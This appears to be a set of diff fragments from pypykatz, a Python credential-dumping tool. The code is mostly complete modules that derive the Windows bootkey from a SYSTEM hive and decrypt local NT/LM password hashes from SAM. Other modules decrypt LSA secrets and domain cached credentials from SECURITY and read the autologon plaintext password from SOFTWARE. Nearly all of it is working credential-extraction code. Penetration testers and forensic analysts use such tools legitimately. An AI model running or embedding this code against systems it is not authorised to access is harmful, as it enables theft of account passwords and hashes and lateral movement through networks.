245 | except Exception as e: | |
246 | logger.debug('Failed to automatically detect correct LSA template! Reason: %s' % str(e)) | |
191 | 247 | lsa_dec = self.get_lsa_bruteforce() |
192 | 248 | if lsa_dec is None: |
193 | 249 | raise Exception('All detection methods failed.') |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | import json | |
7 | from aiowinreg.ahive import AIOWinRegHive | |
8 | ||
9 | from pypykatz.registry import logger | |
10 | from pypykatz.commons.common import UniversalEncoder | |
11 | from pypykatz.registry.sam.asam import * | |
12 | from pypykatz.registry.security.asecurity import * | |
13 | from pypykatz.registry.system.asystem import * | |
14 | from pypykatz.registry.software.asoftware import * | |
15 | ||
16 | ||
17 | class OffineRegistry: | |
18 | """ | |
19 | This class represents an offline registry | |
20 | You will need to set at least the SYSTEM hive (to get bootkey) | |
21 | In case you have the SAM and/or SECURITY hives, it will parse them for the stored credentials/secrets as well. | |
22 | """ | |
23 | def __init__(self): | |
24 | self.sam_hive = None | |
25 | self.security_hive = None | |
26 | self.system_hive = None | |
27 | self.software_hive = None | |
28 | ||
29 | self.system = None | |
30 | self.sam = None | |
31 | self.security = None | |
32 | self.software = None | |
33 | ||
34 | async def get_secrets(self): | |
35 | self.system = SYSTEM(self.system_hive) | |
36 | bootkey = await self.system.get_bootkey() | |
37 | ||
38 | if self.sam_hive: | |
39 | self.sam = SAM(self.sam_hive, bootkey) | |
40 | await self.sam.get_secrets() | |
41 | ||
42 | if self.security_hive: | |
43 | self.security = SECURITY(self.security_hive, bootkey) | |
44 | await self.security.get_secrets() | |
45 | ||
46 | if self.software_hive: | |
47 | self.software = SOFTWARE(self.software_hive, bootkey) | |
48 | await self.software.get_default_logon() | |
49 | ||
50 | def to_file(self, file_path, json_format = False): | |
51 | with open(file_path, 'w', newline = '') as f: | |
52 | if json_format == False: | |
53 | f.write(str(self)) | |
54 | else: | |
55 | f.write(self.to_json()) | |
56 | ||
57 | def to_json(self): | |
58 | return json.dumps(self.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True) | |
59 | ||
60 | def to_dict(self): | |
61 | t = {} | |
62 | t['SYSTEM'] = self.system.to_dict() | |
63 | if self.sam: | |
64 | t['SAM'] = self.sam.to_dict() | |
65 | if self.security: | |
66 | t['SECURITY'] = self.security.to_dict() | |
67 | if self.software: | |
68 | t['SOFTWARE'] = self.software.to_dict() | |
69 | return t | |
70 | ||
71 | ||
72 | def __str__(self): | |
73 | t = str(self.system) | |
74 | if self.sam: | |
75 | t += str(self.sam) | |
76 | if self.security: | |
77 | t += str(self.security) | |
78 | if self.software: | |
79 | t += str(self.software) | |
80 | return t | |
81 | ||
82 | @staticmethod | |
83 | async def from_async_reader(system_reader, sam_reader = None, security_reader = None, software_reader = None): | |
84 | po = OffineRegistry() | |
85 | po.system_hive = AIOWinRegHive(system_reader) | |
86 | await po.system_hive.setup() | |
87 | ||
88 | if sam_reader is not None: | |
89 | po.sam_hive = AIOWinRegHive(sam_reader) | |
90 | await po.sam_hive.setup() | |
91 | ||
92 | if security_reader is not None: | |
93 | po.security_hive = AIOWinRegHive(security_reader) | |
94 | await po.security_hive.setup() | |
95 | ||
96 | if software_reader is not None: | |
97 | po.software_hive = AIOWinRegHive(software_reader) | |
98 | await po.software_hive.setup() | |
99 | ||
100 | await po.get_secrets() | |
101 | ||
102 | return po | |
103 | ||
104 | ||
105 | ||
106 | if __name__ == '__main__': | |
107 | po = OffineRegistry.from_live_system() | |
108 | print(str(po))⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | import hashlib | |
6 | import hmac | |
7 | import io | |
8 | from pypykatz.registry.sam.structures import * | |
9 | from pypykatz.crypto.RC4 import RC4 | |
10 | from pypykatz.crypto.aes import AESModeOfOperationCBC | |
11 | from pypykatz.crypto.des import des, expand_DES_key | |
12 | ||
13 | ##### | |
14 | from pypykatz.registry.sam.structures import * | |
15 | from pypykatz.registry.sam.common import * | |
16 | from pypykatz.registry import logger | |
17 | from pypykatz.commons.win_datatypes import SID | |
18 | ||
19 | # | |
20 | # The SAM hive holds the hashed passwords of the LOCAL machine users | |
21 | # There are alwas some local users present on your machine, regardless if it's domain-enrolled | |
22 | # | |
23 | # Depending on the Windows version, the strucutres and the way to decrypt the hashes differs. | |
24 | # The class needs to have the bootkey (see SYSTEM hive) to be able to decrypt the hashes | |
25 | # | |
26 | ||
27 | class SAM: | |
28 | def __init__(self, sam_hive, bootkey): | |
29 | self.hive = sam_hive | |
30 | self.bootkey = bootkey | |
31 | self.hashed_bootkey = None | |
32 | self.machine_sid = None | |
33 | self.secrets = [] | |
34 | ||
35 | @staticmethod | |
36 | def rid_to_key(rid): | |
37 | key = int(rid, 16).to_bytes(4, 'little', signed = False) | |
38 | key1 = [key[0] , key[1] , key[2] , key[3] , key[0] , key[1] , key[2]] | |
39 | key2 = [key[3] , key[0] , key[1] , key[2] , key[3] , key[0] , key[1]] | |
40 | return expand_DES_key(bytes(key1)),expand_DES_key(bytes(key2)) | |
41 | ||
42 | def decrypt_hash(self, rid, hashobj, constant): | |
43 | key1, key2 = SAM.rid_to_key(rid) | |
44 | des1 = des(key1) | |
45 | des2 = des(key2) | |
46 | ||
47 | if isinstance(hashobj, SAM_HASH): | |
48 | rc4key = hashlib.md5( self.hashed_bootkey[:0x10] + int(rid, 16).to_bytes(4, 'little', signed = False) + constant ).digest() | |
49 | key = RC4(rc4key).encrypt(hashobj.hash) | |
50 | ||
51 | else: | |
52 | key = b'' | |
53 | cipher = AESModeOfOperationCBC(self.hashed_bootkey[:0x10], iv = hashobj.salt) | |
54 | n = 16 | |
55 | for block in [hashobj.data[i:i+n] for i in range(0, len(hashobj.data), n)]: #terrible, terrible workaround | |
56 | key += cipher.decrypt(block) | |
57 | ||
58 | key = key[:16] | |
59 | ||
60 | dec_hash = des1.decrypt(key[:8]) + des2.decrypt(key[8:]) | |
61 | return dec_hash | |
62 | ||
63 | async def get_HBoot_key(self): | |
64 | logger.debug('SAM parsing hashed bootkey') | |
65 | QWERTY = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" | |
66 | DIGITS = b"0123456789012345678901234567890123456789\0" | |
67 | ||
68 | F = await self.hive.get_value(r'SAM\Domains\Account\F') | |
69 | F = F[1] | |
70 | logger.log(1,'[SAM] F key value: %s' % F) | |
71 | ||
72 | domain_properties = DOMAIN_ACCOUNT_F.from_bytes(F) | |
73 | ||
74 | if isinstance(domain_properties.key_0, SAM_KEY_DATA): | |
75 | rc4_key = hashlib.md5(domain_properties.key_0.salt + QWERTY + self.bootkey +DIGITS).digest() | |
76 | self.hashed_bootkey = RC4(rc4_key).encrypt(domain_properties.key_0.key + domain_properties.key_0.checksum) | |
77 | ||
78 | checksum = hashlib.md5(self.hashed_bootkey[:16] + DIGITS + self.hashed_bootkey[:16] + QWERTY).digest() | |
79 | ||
80 | if checksum != self.hashed_bootkey[16:]: | |
81 | logger.error('[SAM] HBootkey checksum verification failed!') | |
82 | raise Exception('[SAM] HBootkey checksum verification failed!') | |
83 | ||
84 | elif isinstance(domain_properties.key_0, SAM_KEY_DATA_AES): | |
85 | self.hashed_bootkey = b'' | |
86 | cipher = AESModeOfOperationCBC(self.bootkey, iv = domain_properties.key_0.salt) | |
87 | n = 16 | |
88 | for block in [domain_properties.key_0.data[i:i+n] for i in range(0, len(domain_properties.key_0.data), n)]: #terrible, terrible workaround | |
89 | self.hashed_bootkey += cipher.decrypt(block) | |
90 | ||
91 | logger.debug('[SAM] HBootkey: %s' % self.hashed_bootkey.hex()) | |
92 | return self.hashed_bootkey | |
93 | ||
94 | async def get_machine_sid(self): | |
95 | # https://social.technet.microsoft.com/Forums/en-US/de8ff30b-6986-4aad-bcde-12bb5e66fe86/the-computer-sid-with-windows-7?forum=winserverDS | |
96 | # TODO: implement this | |
97 | try: | |
98 | uac_data = await self.hive.get_value('SAM\\Domains\\Account\\V') | |
99 | uac_data = uac_data[1] | |
100 | uac_data = uac_data[-12:] | |
101 | p1 = int.from_bytes( uac_data[:4], 'little', signed = False) | |
102 | p2 = int.from_bytes( uac_data[4:8], 'little', signed = False) | |
103 | p3 = int.from_bytes(uac_data[8:12], 'little', signed = False) | |
104 | self.machine_sid = '%s-%s-%s-%s' % ('S-1-5-21', p1, p2, p3) | |
105 | except Exception as e: | |
106 | import traceback | |
107 | traceback.print_exc() | |
108 | return self.machine_sid | |
109 | ||
110 | async def get_secrets(self): | |
111 | logger.debug('SAM get_secrets invoked') | |
112 | NTPASSWORD = b"NTPASSWORD\0" | |
113 | LMPASSWORD = b"LMPASSWORD\0" | |
114 | ||
115 | NTDEFAULT = '31d6cfe0d16ae931b73c59d7e0c089c0' | |
116 | LMDEFAULT = 'aad3b435b51404eeaad3b435b51404ee' | |
117 | ||
118 | await self.get_HBoot_key() | |
119 | await self.get_machine_sid() | |
120 | ||
121 | names = await self.hive.enum_key('SAM\\Domains\\Account\\Users') | |
122 | for rid in names: | |
123 | uac = None | |
124 | if rid == 'Names': | |
125 | continue | |
126 | ||
127 | key_path = 'SAM\\Domains\\Account\\Users\\%s\\V' % rid | |
128 | logger.debug('[SAM] Parsing secrets for RID: %s' % rid) | |
129 | uac_data = await self.hive.get_value(key_path) | |
130 | uac_data = uac_data[1] | |
131 | uac = USER_ACCOUNT_V.from_bytes(uac_data) | |
132 | ||
133 | nthash = bytes.fromhex(NTDEFAULT) | |
134 | lmhash = bytes.fromhex(LMDEFAULT) | |
135 | if uac.NT_hash and isinstance(uac.NT_hash, SAM_HASH_AES): | |
136 | if uac.NT_hash.data != b'': | |
137 | nthash = self.decrypt_hash(rid, uac.NT_hash, NTPASSWORD) | |
138 | elif uac.NT_hash and isinstance(uac.NT_hash, SAM_HASH): | |
139 | if uac.NT_hash.hash != b'': | |
140 | nthash = self.decrypt_hash(rid, uac.NT_hash, NTPASSWORD) | |
141 | ||
142 | if uac.LM_hash and isinstance(uac.LM_hash, SAM_HASH_AES): | |
143 | if uac.LM_hash.data != b'': | |
144 | lmhash = self.decrypt_hash(rid, uac.LM_hash, LMPASSWORD) | |
145 | ||
146 | elif uac.LM_hash and isinstance(uac.LM_hash, SAM_HASH): | |
147 | if uac.LM_hash.hash != b'': | |
148 | lmhash = self.decrypt_hash(rid, uac.LM_hash, LMPASSWORD) | |
149 | ||
150 | secret = SAMSecret(uac.name, int(rid,16), nthash, lmhash) | |
151 | self.secrets.append(secret) | |
152 | ||
153 | return self.secrets | |
154 | ||
155 | def to_dict(self): | |
156 | t = {} | |
157 | t['HBoot_key'] = self.hashed_bootkey | |
158 | t['local_users'] = [] | |
159 | for secret in self.secrets: | |
160 | t['local_users'].append( secret.to_dict()) | |
161 | return t | |
162 | ||
163 | def __str__(self): | |
164 | t = '============== SAM hive secrets ==============\r\n' | |
165 | t += 'HBoot Key: %s\r\n' % self.hashed_bootkey.hex() | |
166 | for secret in self.secrets: | |
167 | t += '%s\r\n' % secret.to_lopth() | |
168 | return t | |
169 | ||
170 |
2 | 2 | # Author: |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | import json | |
5 | 6 | |
6 | 7 | class SAMSecret: |
7 | 8 | def __init__(self, username, rid, nt_hash, lm_hash): |
195 | 195 | self.homedir = None |
196 | 196 | self.homedir_connect = None |
197 | 197 | self.script_path = None |
198 | self.profile_path = None | |
199 | 198 | self.profile_path = None |
200 | 199 | self.workstations = None |
201 | 200 | self.hoursallowed = None |
374 | 373 | t += ' %s: %s: %s' % (k, i, str(item)) |
375 | 374 | else: |
376 | 375 | t += '%s: %s \r\n' % (k, str(self.__dict__[k])) |
377 | return t⏎ | |
376 | return t |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | import hashlib | |
6 | import hmac | |
7 | from pypykatz.registry.sam.structures import * | |
8 | from pypykatz.crypto.RC4 import RC4 | |
9 | from pypykatz.crypto.aes import AESModeOfOperationCBC,AESModeOfOperationECB, Decrypter | |
10 | from pypykatz.crypto.des import * | |
11 | ||
12 | ||
13 | ##### | |
14 | from pypykatz.registry.security.structures import * | |
15 | from pypykatz.registry.security.common import * | |
16 | from pypykatz.registry import logger | |
17 | from pypykatz.commons.common import hexdump | |
18 | ||
19 | # | |
20 | # The SECURITY hive holds all the domain-cached-credentials for the domain users who logged in to the machine | |
21 | # It also holds the machine account's password in an encrypted form | |
22 | # | |
23 | # The LSA secrets also stored here, but their format is not always documented, | |
24 | # as this functionality can be used by any service that wants to stroe some secret information | |
25 | ||
26 | class SECURITY: | |
27 | def __init__(self, security_hive, bootkey): | |
28 | self.hive = security_hive | |
29 | self.bootkey = bootkey | |
30 | ||
31 | self.dcc_iteration_count = 10240 | |
32 | self.lsa_secret_key_vista_type = True | |
33 | ||
34 | self.lsa_key = None | |
35 | self.NKLM_key = None | |
36 | ||
37 | self.dcc_hashes = [] | |
38 | self.cached_secrets = [] | |
39 | ||
40 | @staticmethod | |
41 | def sha256_multi(key, value, rounds = 1000): | |
42 | ctx = hashlib.sha256(key) | |
43 | for _ in range(rounds): | |
44 | ctx.update(value) | |
45 | return ctx.digest() | |
46 | ||
47 | def decrypt_lsa_key(self, data): | |
48 | logger.debug('[SECURITY] Decrypting LSA key...') | |
49 | if self.lsa_secret_key_vista_type is True: | |
50 | record = LSA_SECRET.from_bytes(data) | |
51 | key = SECURITY.sha256_multi(self.bootkey, record.data[:32]) | |
52 | secret_dec = b'' | |
53 | cipher = AESModeOfOperationECB(key) | |
54 | n = 16 | |
55 | for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround | |
56 | if len(block) < n: | |
57 | block += b'\x00' * (n - len(block)) | |
58 | secret_dec += cipher.decrypt(block) | |
59 | record = LSA_SECRET_BLOB.from_bytes(secret_dec) | |
60 | self.lsa_key = record.secret[52:][:32] | |
61 | ||
62 | else: | |
63 | ctx = hashlib.md5(self.bootkey) | |
64 | for i in range(1000): | |
65 | ctx.update(data[60:76]) | |
66 | ||
67 | cipher = RC4(ctx.digest()) | |
68 | record = cipher.decrypt(data[12:60]) | |
69 | self.lsa_key = record[0x10:0x20] | |
70 | ||
71 | logger.debug('[SECURITY] LSA key value: %s' % self.lsa_key.hex()) | |
72 | return self.lsa_key | |
73 | ||
74 | ||
75 | async def get_lsa_key(self): | |
76 | logger.debug('[SECURITY] Fetching LSA key...') | |
77 | value = await self.hive.get_value('Policy\\PolEKList\\default', False) | |
78 | if value is None: | |
79 | value = await self.hive.get_value('Policy\\PolSecretEncryptionKey\\default', False) | |
80 | if not value: | |
81 | logger.debug('[SECURITY] LSA key not found!') | |
82 | return None | |
83 | ||
84 | self.lsa_secret_key_vista_type = False | |
85 | logger.debug('[SECURITY] LSA secrets default to VISTA type') | |
86 | ||
87 | return self.decrypt_lsa_key(value[1]) | |
88 | ||
89 | ||
90 | def decrypt_secret(self, key, value): | |
91 | dec_blob = b'' | |
92 | enc_size = int.from_bytes(value[:4], 'little', signed = False) | |
93 | value = value[len(value) - enc_size:] | |
94 | t_key = key | |
95 | for _ in range(0, len(value), 8): | |
96 | enc_blob = value[:8] | |
97 | des_key = expand_DES_key(t_key[:7]) | |
98 | ctx = des(des_key) | |
99 | dec_blob += ctx.decrypt(enc_blob) | |
100 | t_key = t_key[7:] | |
101 | value = value[8:] | |
102 | if len(t_key) < 7: | |
103 | t_key = key[len(t_key) : ] | |
104 | ||
105 | secret = LSA_SECRET_XP.from_bytes(dec_blob) | |
106 | return secret.secret | |
107 | ||
108 | async def get_NKLM_key(self): | |
109 | logger.debug('[SECURITY] Fetching NK$LM key...') | |
110 | if self.lsa_key is None: | |
111 | await self.get_lsa_key() | |
112 | ||
113 | value = await self.hive.get_value('Policy\\Secrets\\NL$KM\\CurrVal\\default') | |
114 | if value is None: | |
115 | logger.error('[SECURITY] Could not find NL$KM in registry') | |
116 | raise Exception('Could not find NL$KM in registry :(') | |
117 | ||
118 | if self.lsa_secret_key_vista_type is True: | |
119 | self.NKLM_key = b'' | |
120 | record = LSA_SECRET.from_bytes(value[1]) | |
121 | key = SECURITY.sha256_multi(self.lsa_key, record.data[:32]) | |
122 | cipher = AESModeOfOperationECB(key) | |
123 | n = 16 | |
124 | for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround | |
125 | if len(block) < n: | |
126 | block += b'\x00' * (16 - len(block)) | |
127 | self.NKLM_key += cipher.decrypt(block) | |
128 | ||
129 | else: | |
130 | self.NKLM_key = self.decrypt_secret(self.lsa_key, value[1]) | |
131 | ||
132 | logger.debug('[SECURITY] NL$KM key: %s' % self.NKLM_key.hex()) | |
133 | return self.NKLM_key | |
134 | ||
135 | def __pad(self, data): | |
136 | if (data & 0x3) > 0: | |
137 | return data + (data & 0x3) | |
138 | else: | |
139 | return data | |
140 | ||
141 | async def dump_dcc(self): | |
142 | logger.debug('[SECURITY] dump_dcc invoked') | |
143 | cache_reg = await self.hive.find_key('Cache', False) | |
144 | if cache_reg is None: | |
145 | logger.debug('[SECURITY] No DCC secrets found') | |
146 | return | |
147 | values = await self.hive.list_values(cache_reg) | |
148 | ||
149 | if values == []: | |
150 | logger.debug('[SECURITY] No DCC secrets found') | |
151 | return | |
152 | ||
153 | if b'NL$Control' in values: | |
154 | values.remove(b'NL$Control') | |
155 | ||
156 | if b'NL$IterationCount' in values: | |
157 | logger.debug('[SECURITY] DCC Setting iteration count') | |
158 | values.remove(b'NL$IterationCount') | |
159 | record = await self.hive.get_value('Cache\\NL$IterationCount') | |
160 | record = record[1] | |
161 | if record > 10240: | |
162 | self.dcc_iteration_count = record & 0xfffffc00 | |
163 | else: | |
164 | self.dcc_iteration_count = record * 1024 | |
165 | ||
166 | ||
167 | await self.get_lsa_key() | |
168 | await self.get_NKLM_key() | |
169 | ||
170 | for value in values: | |
171 | logger.debug('[SECURITY] DCC Checking value: %s' % value) | |
172 | record_data = await self.hive.get_value('Cache\\%s' % value.decode()) | |
173 | record_data = record_data[1] | |
174 | record = NL_RECORD.from_bytes(record_data) | |
175 | ||
176 | if record.IV != b'\x00'*16: | |
177 | if record.Flags & 1 == 1: | |
178 | # Encrypted | |
179 | if self.lsa_secret_key_vista_type is True: | |
180 | plaintext = b'' | |
181 | cipher = AESModeOfOperationCBC(self.NKLM_key[16:32], iv = record.IV) | |
182 | n = 16 | |
183 | for block in [record.EncryptedData[i:i+n] for i in range(0, len(record.EncryptedData), n)]: #terrible, terrible workaround | |
184 | if len(block) < 16: | |
185 | block += b'\x00' * (16 - len(block)) | |
186 | plaintext += cipher.decrypt(block) | |
187 | ||
188 | else: | |
189 | key = hmac.new(self.NKLM_key,record.IV).digest() | |
190 | cipher = RC4(key) | |
191 | plaintext = cipher.decrypt(record.EncryptedData) | |
192 | ||
193 | else: | |
194 | # Plain! Until we figure out what this is, we skip it | |
195 | #plainText = record['EncryptedData'] | |
196 | logger.debug('[SECURITY] DCC Skipping value %s, unknown formet' % value) | |
197 | continue | |
198 | ||
199 | ||
200 | dcc_hash = plaintext[:0x10] | |
201 | blob = io.BytesIO(plaintext[0x48:]) | |
202 | username = blob.read(record.UserLength).decode('utf-16-le') | |
203 | blob.seek(self.__pad(record.UserLength) + self.__pad(record.DomainNameLength)) | |
204 | domain = blob.read(record.DnsDomainNameLength).decode('utf-16-le') | |
205 | ||
206 | version = 2 if self.lsa_secret_key_vista_type is True else 1 | |
207 | secret = LSADCCSecret(version, domain, username, dcc_hash, iteration = self.dcc_iteration_count) | |
208 | self.dcc_hashes.append(secret) | |
209 | ||
210 | return self.dcc_hashes | |
211 | ||
212 | async def get_secrets(self): | |
213 | logger.debug('[SECURITY] get_secrets') | |
214 | await self.get_lsa_key() | |
215 | ||
216 | await self.dump_dcc() | |
217 | ||
218 | # Let's first see if there are cached entries | |
219 | keys = await self.hive.enum_key('Policy\\Secrets') | |
220 | if keys is None: | |
221 | logger.debug('[SECURITY] No cached secrets found in hive') | |
222 | return | |
223 | ||
224 | if b'NL$Control' in keys: | |
225 | keys.remove(b'NL$Control') | |
226 | ||
227 | for key_name in keys: | |
228 | for vl in ['CurrVal', 'OldVal']: | |
229 | key_path = 'Policy\\Secrets\\{}\\{}\\default'.format(key_name,vl) | |
230 | logger.debug('[SECURITY] Parsing secrets in %s' % key_path) | |
231 | v = await self.hive.get_value(key_path, False) | |
232 | if v and v[1] != 0: | |
233 | logger.log(1, '[SECURITY] Key %s Value %s' % (key_path, v[1])) | |
234 | if self.lsa_secret_key_vista_type is True: | |
235 | record = LSA_SECRET.from_bytes(v[1]) | |
236 | key = SECURITY.sha256_multi(self.lsa_key, record.data[:32]) | |
237 | secret_dec = b'' | |
238 | cipher = AESModeOfOperationECB(key) | |
239 | n = 16 | |
240 | for block in [record.data[32:][i:i+n] for i in range(0, len(record.data[32:]), n)]: #terrible, terrible workaround | |
241 | if len(block) < n: | |
242 | block += b'\x00' * (n - len(block)) | |
243 | secret_dec += cipher.decrypt(block) | |
244 | record = LSA_SECRET_BLOB.from_bytes(secret_dec) | |
245 | dec_blob = record.secret | |
246 | ||
247 | else: | |
248 | dec_blob = self.decrypt_secret(self.lsa_key, v[1]) | |
249 | ||
250 | secret = LSASecret.process(key_name, dec_blob, vl == 'OldVal') | |
251 | if secret is not None: | |
252 | self.cached_secrets.append(secret) | |
253 | ||
254 | else: | |
255 | logger.debug('[SECURITY] Could not open %s, skipping!' % key_path) | |
256 | ||
257 | def to_dict(self): | |
258 | t = {} | |
259 | t['dcc_iteration_count'] = self.dcc_iteration_count | |
260 | t['secrets_format'] = 'VISTA' if self.lsa_secret_key_vista_type else 'OLD' | |
261 | t['lsa_key'] = self.lsa_key | |
262 | t['NK$LM'] = None | |
263 | if self.NKLM_key is not None: | |
264 | t['NK$LM'] = self.NKLM_key | |
265 | t['dcc'] = [] | |
266 | for secret in self.dcc_hashes: | |
267 | t['dcc'].append(secret.to_dict()) | |
268 | t['cached_secrets'] = [] | |
269 | for secret in self.cached_secrets: | |
270 | t['cached_secrets'].append(secret.to_dict()) | |
271 | return t | |
272 | ||
273 | def __str__(self): | |
274 | t = '============== SECURITY hive secrets ==============\r\n' | |
275 | t += 'Iteration count: %s\r\n' % self.dcc_iteration_count | |
276 | t += 'Secrets structure format : %s\r\n' % 'VISTA' if self.lsa_secret_key_vista_type else 'OLD' | |
277 | t += 'LSA Key: %s\r\n' % self.lsa_key.hex() | |
278 | if self.NKLM_key is not None: | |
279 | t += 'NK$LM Key: %s\r\n' % self.NKLM_key.hex() | |
280 | for secret in self.dcc_hashes: | |
281 | t += '%s\r\n' % secret.to_lopth() | |
282 | for secret in self.cached_secrets: | |
283 | t += '%s\r\n' % str(secret) | |
284 | return t |
2 | 2 | # Author: |
3 | 3 | # Tamas Jos (@skelsec) |
4 | 4 | # |
5 | import hashlib | |
5 | ||
6 | from pypykatz.crypto.MD4 import MD4 | |
6 | 7 | from pypykatz.dpapi.structures.system import DPAPI_SYSTEM |
7 | 8 | from pypykatz.commons.common import hexdump |
8 | 9 | |
155 | 156 | |
156 | 157 | def process_secret(self): |
157 | 158 | #only the NT hash is calculated here |
158 | ctx = hashlib.new('md4') | |
159 | ctx.update(self.raw_secret) | |
159 | ctx = MD4(self.raw_secret)#hashlib.new('md4') | |
160 | #ctx.update(self.raw_secret) | |
160 | 161 | self.secret = ctx.digest() |
161 | 162 | |
162 | 163 | #thx dirkjan |
40 | 40 | @staticmethod |
41 | 41 | def sha256_multi(key, value, rounds = 1000): |
42 | 42 | ctx = hashlib.sha256(key) |
43 | for i in range(rounds): | |
43 | for _ in range(rounds): | |
44 | 44 | ctx.update(value) |
45 | 45 | return ctx.digest() |
46 | 46 | |
108 | 108 | def get_NKLM_key(self): |
109 | 109 | logger.debug('[SECURITY] Fetching NK$LM key...') |
110 | 110 | if self.lsa_key is None: |
111 | self.get_lsa_secret_key() | |
111 | self.get_lsa_key() | |
112 | 112 | |
113 | 113 | value = self.hive.get_value('Policy\\Secrets\\NL$KM\\CurrVal\\default') |
114 | 114 | if value is None: |
156 | 156 | if b'NL$IterationCount' in values: |
157 | 157 | logger.debug('[SECURITY] DCC Setting iteration count') |
158 | 158 | values.remove(b'NL$IterationCount') |
159 | record = self.getValue('Cache\\NL$IterationCount')[1] | |
159 | record = self.hive.get_value('Cache\\NL$IterationCount')[1] | |
160 | 160 | if record > 10240: |
161 | 161 | self.dcc_iteration_count = record & 0xfffffc00 |
162 | 162 | else: |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | ##### | |
7 | from pypykatz.registry import logger | |
8 | ||
9 | ||
10 | class SOFTWARE: | |
11 | def __init__(self, sam_hive, bootkey): | |
12 | self.hive = sam_hive | |
13 | self.bootkey = bootkey | |
14 | self.default_logon_user = None | |
15 | self.default_logon_domain = None | |
16 | self.default_logon_password = None | |
17 | ||
18 | async def get_default_logon(self): | |
19 | if self.default_logon_user is None: | |
20 | try: | |
21 | data = await self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName') | |
22 | data = data[1] | |
23 | except: | |
24 | pass | |
25 | else: | |
26 | if isinstance(data, bytes): | |
27 | self.default_logon_user = data.decode('utf-16-le').split('\x00')[0] | |
28 | else: | |
29 | self.default_logon_user = data | |
30 | ||
31 | if self.default_logon_domain is None: | |
32 | try: | |
33 | data = await self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultDomainName') | |
34 | data = data[1] | |
35 | except: | |
36 | pass | |
37 | else: | |
38 | if isinstance(data, bytes): | |
39 | self.default_logon_domain = data.decode('utf-16-le') | |
40 | else: | |
41 | self.default_logon_domain = data | |
42 | ||
43 | if self.default_logon_password is None: | |
44 | try: | |
45 | data = await self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword') | |
46 | data = data[1] | |
47 | except: | |
48 | pass | |
49 | else: | |
50 | if isinstance(data, bytes): | |
51 | self.default_logon_password = data.decode('utf-16-le') | |
52 | else: | |
53 | self.default_logon_password = data | |
54 | ||
55 | return self.default_logon_user | |
56 | ||
57 | def to_dict(self): | |
58 | t = {} | |
59 | t['default_logon_user'] = self.default_logon_user | |
60 | t['default_logon_domain'] = self.default_logon_domain | |
61 | t['default_logon_password'] = self.default_logon_password | |
62 | return t | |
63 | ||
64 | def __str__(self): | |
65 | t = '============== SOFTWARE hive secrets ==============\r\n' | |
66 | t += 'default_logon_user: %s\r\n' % self.default_logon_user | |
67 | return t |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | from pypykatz.registry import logger | |
6 | from pypykatz.commons.common import hexdump | |
7 | ||
8 | # | |
9 | # The SYSTEM hive holds the BootKey, which is used as an initial key to decrypt everything in the registry. | |
10 | # Without having the BootKey no decryption can be performed on any of the secrets, | |
11 | # therefore it is mandatory to supply this hive. | |
12 | # | |
13 | # The way to obtain the BootKey is quite straightforward. | |
14 | # First, we need to determine the current controlset (when the machine is running you find that available directly, but not when the hive was taken from a powered down machine) | |
15 | # Second, the BootKey is obfuscated and scattered in the Class attribute of 4 different registry keys. | |
16 | # we read the Class attribute of these keys and de-obfuscate the key | |
17 | # | |
18 | ||
19 | class SYSTEM: | |
20 | def __init__(self, system_hive): | |
21 | self.hive = system_hive | |
22 | self.currentcontrol = None | |
23 | self.bootkey = None | |
24 | ||
25 | async def get_currentcontrol(self): | |
26 | logger.debug('[SYSTEM] determining current control set') | |
27 | if self.currentcontrol is not None: | |
28 | return self.currentcontrol | |
29 | ||
30 | ccs = await self.hive.get_value('Select\\Current') | |
31 | ccs = ccs[1] | |
32 | self.currentcontrol = "ControlSet%03d" % ccs | |
33 | logger.debug('[SYSTEM] current control set name: %s' % self.currentcontrol) | |
34 | return self.currentcontrol | |
35 | ||
36 | async def get_bootkey(self): | |
37 | logger.debug('[SYSTEM] get_bootkey invoked') | |
38 | if self.bootkey is not None: | |
39 | return self.bootkey | |
40 | if self.currentcontrol is None: | |
41 | await self.get_currentcontrol() | |
42 | ||
43 | transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7] | |
44 | bootkey_obf = '' | |
45 | for key in ['JD', 'Skew1', 'GBG', 'Data']: | |
46 | bootkey_obf += await self.hive.get_class('%s\\Control\\Lsa\\%s' % (self.currentcontrol, key)) | |
47 | ||
48 | bootkey_obf = bytes.fromhex(bootkey_obf) | |
49 | self.bootkey = b'' | |
50 | for i in range(len(bootkey_obf)): | |
51 | self.bootkey += bootkey_obf[transforms[i]:transforms[i] + 1] | |
52 | ||
53 | logger.debug('[SYSTEM] bootkey: %s' % self.bootkey.hex()) | |
54 | return self.bootkey | |
55 | ||
56 | async def get_secrets(self): | |
57 | await self.get_currentcontrol() | |
58 | await self.get_bootkey() | |
59 | ||
60 | def to_dict(self): | |
61 | t = {} | |
62 | t['CurrentControlSet'] = self.currentcontrol | |
63 | t['BootKey'] = self.bootkey | |
64 | return t | |
65 | ||
66 | def __str__(self): | |
67 | t = '============== SYSTEM hive secrets ==============\r\n' | |
68 | t += 'CurrentControlSet: %s\r\n' % self.currentcontrol | |
69 | t += 'Boot Key: %s\r\n' % self.bootkey.hex() | |
70 | return t |
0 | ||
1 | ||
2 | #!/usr/bin/env python3 | |
3 | # | |
4 | # Author: | |
5 | # Tamas Jos (@skelsec) | |
6 | # | |
7 | ||
8 | from pypykatz import logging | |
9 | import asyncio | |
10 | ||
